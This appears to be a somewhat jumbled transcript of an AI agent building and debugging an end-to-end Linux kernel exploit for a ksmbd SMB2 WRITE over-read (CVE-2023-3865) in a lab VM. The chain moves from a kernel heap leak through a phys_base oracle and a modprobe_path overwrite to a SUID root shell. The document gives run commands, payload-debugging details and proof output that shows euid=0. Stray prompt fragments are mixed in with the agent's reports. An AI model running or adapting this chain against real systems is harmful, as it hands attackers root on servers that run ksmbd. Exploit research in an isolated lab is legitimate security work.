
End-to-end ksmbd SMB2 WRITE over-read exploit chain: kernel heap leak for KASLR, phys_base oracle sweep, modprobe_path overwrite, and SUID root shell in a lab VM.
Key content:
Keep it reasonably concise but complete. The user is technical.
Also mention files: D:\ksmbd-lab\chain.py, leak.py, loop4.ps1 etc.
Let me write it.
08:24 PM Hinoki-Offensive-Beta-2
● The chain is built and working end-to-end. Here's what came out of it.
CVE found
CVE-2023-3865 / ZDI-23-980 — ksmbd_smb2_check_message() never bounded hdr->NextCommand, so an SMB2 WRITE can claim a Length far past the real PDU and smb2_write() hands those bytes to kernel_write(). The file then contains live kmalloc-cg-8k heap, which is exactly the KASLR-defeat primitive used in the published ksmbd RCE writeup (pwning.tech).
I also analysed the newer, pre-auth CVE-2026-68431 / ZDI-26-573 (short transform packet → init_smb2_rsp_hdr() reads past the request buffer). It works, but on this build init_on_alloc zeroes the whole 64-byte chunk and the echoed header fields are fixed at offsets 34–63, so you only get ~26 zeroed bytes and a 4-byte peek into the next chunk — not enough to bootstrap vmemmap_base, so it ended up as a side branch.
Kernel changes (lab only)
fs/smb/server/smb2misc.c: reverted 5fe7f7b (the next_smb2_rcv_hdr_off + next_cmd > len guard). Everything else from the write bug stays as before.
Proof
816-831: 2 bad, idx=0 (2.1s)
[+] phys_base=0x67000000 [*] modprobe_path <- /x 1536-1551: 1 bad, idx=0 (37.3s) [+] phys_base=0xc1000000 ... -rwsr-xr-x 1 root root 129784 /suid-sh $ setpriv --reuid=1000 --regid=1000 --clear-groups /suid-sh -p -c id uid=1000(u) gid=1000(u) euid=0(root) groups=1000(u)
Unattended, the loop hit it several times (phys_base 0x67000000, 0xc1000000, …) and left a working SUID root shell. No /proc/kallsyms and no /proc/kcore anywhere in the path.
Rough edges
Memory notes were saved for the lab state and the run recipe.
✻ Crunched for 3h 19m 46s · done 8:24 PM
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Showing detailed transcript · ctrl+o to toggle · ctrl+e to show all verbose
Your run shows the bug, and it's in my code: with --per 16 the forged payload carries 16 pipe_buffers, but a pipe whose head is 1 (one marker byte) only ever reads entry 0 — pipe_read stops as soon as tail == head. Entries 1…15 are written into the ring but invisible, so of your three candidates only 0xd4e00000 was actually tested; the true base 0xd5000000 (cand 1) never was. That's also why the sweep looked so "successful" while hitting almost nothing.
Do this now
drv2.py now passes --per 1, so one candidate per trigger. Re-run it and write the numbered log you wanted:
wsl.exe -d Ubuntu-24.04 -- bash -c 'cd /root/lab/poc; bash /root/lab/lab.sh >/dev/null 2>&1; timeout 120 /root/lab/venv/bin/python -u drv2.py > /root/lab/ch16.log 2>&1; echo rc=$? >> /root/lab/ch16.log; ls -l /suid-sh 2>/dev/null'
Then read it:
wsl.exe -d Ubuntu-24.04 -- bash -c 'cat /root/lab/ch16.log; ls -l /suid-sh 2>/dev/null'
A hit looks like:
cand 1 0xd5000000 phys=0x105ce8d00 ... 1 bad, match=b'/sbin/modprobe\x00'
[+] phys_base=0xd5000000 [] modprobe_path <- /x [] trigger done [+] root: /suid-sh -p
and /suid-sh appears. Verify with:
wsl.exe -d Ubuntu-24.04 -- bash -c 'setpriv --reuid=1000 --regid=1000 --clear-groups /suid-sh -p -c "id"'
If instead you get idx=-1 three times over both neighbours, the leak's vmemmap_base or the slide for that boot was bad — just repeat (each run is a fresh boot, so retry rather than debug one boot).
Notes on your output
● Everything is installed and the last run left a working /suid-sh. Here is the exact runbook.
Get-Process powershell | Where-Object Id -ne $PID | ForEach-Object { Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue } wsl.exe --shutdown